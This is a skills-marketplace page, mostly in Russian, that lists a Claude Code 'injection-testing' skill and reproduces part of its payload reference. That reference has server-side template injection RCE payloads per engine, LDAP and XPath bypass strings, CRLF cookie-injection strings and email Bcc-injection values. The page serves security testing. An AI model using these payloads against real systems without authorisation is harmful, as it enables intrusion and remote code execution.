Command Palette

Search for a command to run...

UnylyUnyly
Назад к скиллам

injection-testing

БесплатноЗапускает вложенные скриптыНе проверен

Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL…

anshumanbhот anshumanbh★ 287 звёзд на GitHub10 установок в других каталогах

Об этом скилле

Injection Testing Skill (Miscellaneous)

Purpose

Validate miscellaneous injection vulnerabilities by sending crafted payloads to user-controlled inputs and observing:

  • Template evaluation (SSTI)
  • Query manipulation (LDAP, XPath, XQuery, GraphQL, ORM/HQL)
  • Header manipulation (CRLF, HTTP Header, Email Header)
  • Expression/code evaluation (EL, OGNL, Spring EL, JavaScript eval)
  • Resource exhaustion (ReDoS)
  • Formula execution (CSV/Spreadsheet injection)
  • Config manipulation (YAML, Environment variables)

Scope Note

This skill covers injection types WITHOUT dedicated skills.

For the following, use the dedicated skills:

  • SQL Injection → sql-injection-testing
  • NoSQL Injection → nosql-injection-testing
  • Cross-Site Scripting (XSS) → xss-testing
  • XML External Entity (XXE) → xxe-testing
  • OS Command Injection → command-injection-testing

Vulnerability Types Covered

1. Server-Side Template Injection - SSTI (CWE-1336)

Inject template expressions that execute on server.

Detection Methods:

  • Math evaluation: {{7*7}} returns 49 in response
  • Engine fingerprinting: Different payloads for Jinja2, Twig, Freemarker, Velocity, Pebble, Thymeleaf

Common Payloads by Engine:

Engine Detection Payload RCE Payload Example
Jinja2 (Python) {{7*7}} {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig (PHP) {{7*7}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Freemarker (Java) ${7*7} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity (Java) #set($x=7*7)$x #set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime"...
Thymeleaf (Java) ${7*7} ${T(java.lang.Runtime).getRuntime().exec('id')}
Pebble (Java) {{7*7}} (Limited sandbox escape)
Smarty (PHP) {7*7} {system('id')}
ERB (Ruby) <%= 7*7 %> <%= system('id') %>

2. LDAP Injection (CWE-90)

Manipulate LDAP queries via special characters.

Detection Methods:

  • Wildcard bypass: * returns all entries
  • Filter manipulation: )(cn=*) modifies filter logic
  • Boolean-based: )(|(password=*)) vs normal query

Test Payloads:

*
*)(&
*)(|(&
admin)(|(password=*))
admin)(!(&(1=0
*))%00

3. XPath Injection (CWE-643)

Manipulate XPath queries in XML-based applications.

Detection Methods:

  • Boolean-based: ' or '1'='1 returns all nodes
  • Error-based: ' causes XPath syntax error
  • Union-style: ' or count(//*)>0 or '1'='1

Test Payloads:

' or '1'='1
' or ''='
1 or 1=1
'] | //user/*[contains(*,'
' or count(//*)>0 or '1'='1

4. XQuery Injection (CWE-652)

Manipulate XQuery expressions in XML databases.

Detection Methods:

  • Similar to XPath; targets XQuery-capable systems (eXist-db, MarkLogic, BaseX)

Test Payloads:

' or '1'='1
') or ('1'='1
for $x in doc("users.xml")//user return $x

5. CRLF / HTTP Header Injection (CWE-93, CWE-113)

Inject carriage return/line feed to manipulate HTTP headers.

Detection Methods:

  • Response splitting: %0d%0aSet-Cookie:injected=value adds header
  • Header injection: %0d%0aX-Injected:header appears in response headers
  • Host header poisoning: Manipulated Host header affects redirects/URLs

Test Payloads:

%0d%0aInjected-Header:value
%0d%0aSet-Cookie:session=hijacked
%0d%0a%0d%0a<html>Injected Body</html>
\r\nX-Injected:true

6. Email Header Injection (CWE-93)

Inject headers into email messages via SMTP.

Detection Methods:

Test Payloads:

[email protected]%0ABcc:[email protected]
[email protected]\r\nBcc:[email protected]
test%0ACc:[email protected]
test\nSubject:INJECTED

7. Expression Language Injection (CWE-917)

Inject EL expressions in Java-based frameworks (Spring, JSP, OGNL).

Detection Methods:

  • Math evaluation: ${7*7} or #{7*7} returns 49
  • Object access: ${applicationScope} leaks data

Test Payloads by Framework:

Framework Detection Notes
Spring EL ${7*7}, #{7*7} Double resolution in older versions
OGNL (Struts) %{7*7}, ${7*7} Many CVEs (Struts2)
JSP EL ${7*7}, #{7*7} Standard Java EE
MVEL ${7*7} Used in some workflow engines

8. JSON/JavaScript Eval Injection (CWE-94, CWE-95)

Inject JavaScript expressions into server-side evaluation contexts (Node.js or embedded JS engines) where user input is passed to eval(), Function(), vm.runInNewContext, or similar.

Detection Methods:

  • Math evaluation: 7*7 returns 49 (computed, not echoed)
  • Built-in evaluation: Math.imul(7,7) returns 49
  • Structure evaluation: `['a',
Полный SKILL.md на GitHub

Установить injection-testing в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Read
Write
Bash

Вложенные файлы

examples.mdreference/README.mdreference/injection_payloads.pyreference/validate_injection.py

FAQ

Что делает скилл injection-testing?

Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills. Covers SSTI, LDAP, XPath, XQuery, CRLF/HTTP Header, Email Header, GraphQL, Expression Language (EL/OGNL), JSON/JavaScript eval injection, ORM/HQL, CSV/Formula, Regex (ReDoS), YAML config, and Shellshock-style injection. Use when testing CWE-1336 (SSTI), CWE-90 (LDAP), CWE-643 (XPath), CWE-652 (XQuery), CWE-93/CWE-113 (CRLF/Header), CWE-917 (EL), CWE-94/CWE-95 (Code/Eval injection), CWE-1333 (ReDoS), CWE-1236 (CSV/Formula), and related injection classes.

Как установить скилл injection-testing?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл injection-testing запускает скрипты?

Да, скилл несёт исполняемые скрипты. Проверь исходник перед установкой.

Похожие скиллы

Сравнить injection-testing с